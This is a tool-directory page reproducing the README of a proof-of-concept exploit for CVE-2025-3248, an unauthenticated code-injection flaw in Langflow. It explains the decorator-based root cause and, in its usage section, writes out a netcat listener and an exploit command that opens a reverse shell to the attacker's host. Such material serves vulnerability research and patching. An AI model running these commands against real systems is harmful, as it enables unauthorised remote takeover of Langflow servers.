Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-3248-Langflow-RCE — Proof-of-concept exploit for CVE-2025-3248, an unauthenticated remote code execution vulnerability in Langflow, demonstrating code injection via the /api/v1/validate/code endpoint. | Kitploit
Tools/GitHubGitHub/hideki233/cve-2025-3248-langflow-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubhideki233/cve-2025-3248-langflow-rce

CVE-2025-3248-Langflow-RCE

Proof-of-concept exploit for CVE-2025-3248, an unauthenticated remote code execution vulnerability in Langflow, demonstrating code injection via the /api/v1/validate/code endpoint.

View Repository
16h 24m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-3248 — Langflow Unauthenticated Remote Code Execution

Proof-of-Concept exploit for CVE-2025-3248, an unauthenticated remote code execution vulnerability in Langflow, an AI/LLM workflow-building platform.

  • Affected versions: Langflow < 1.3.0
  • Fixed in: 1.3.0
  • Vulnerability class: Unauthenticated RCE (CWE-94, Code Injection)
  • Status: Added to CISA's Known Exploited Vulnerabilities catalog after being observed exploited in the wild by botnets.

Root cause

Langflow exposes an endpoint, POST /api/v1/validate/code, meant to "validate" a snippet of Python code submitted by the UI (e.g. custom component code). Internally it parses and compiles the code with ast.parse() / compile() and reports back whether it's valid — with no authentication required.

The bug: Python evaluates decorator expressions at parse/compile time, before the decorated function is ever called. If the submitted "code to validate" contains a decorator like:

root@kitploit:~
@exec("...malicious code...")
def test():
    pass

the exec(...) call runs the moment the code is parsed — validation never needs to actually invoke test(). Combined with no auth and no sandboxing, one unauthenticated HTTP request is enough to execute arbitrary commands on the host running Langflow.

Usage

  1. Start a listener on your machine:
    root@kitploit:~
    nc -lvnp 9001
    
  2. Run the PoC against a target:
    root@kitploit:~
    python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
    
  3. If the target is vulnerable, you'll get a shell on the listener.
root@kitploit:~
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]

Requirements

root@kitploit:~
pip install requests

Disclaimer

This code is provided for educational purposes and authorized security testing only (labs, CTFs, engagements with explicit written permission). Do not run this against systems you do not own or do not have explicit authorization to test. The author is not responsible for misuse.

References

  • Langflow Security Advisory GHSA-vwmf-pq79-vjvx
  • Horizon3.ai — Unsafe at Any Speed: Abusing Python Exec for Unauth RCE in Langflow AI
  • Keysight — CVE-2025-3248: Langflow Unauthenticated Code Validation
Download Tool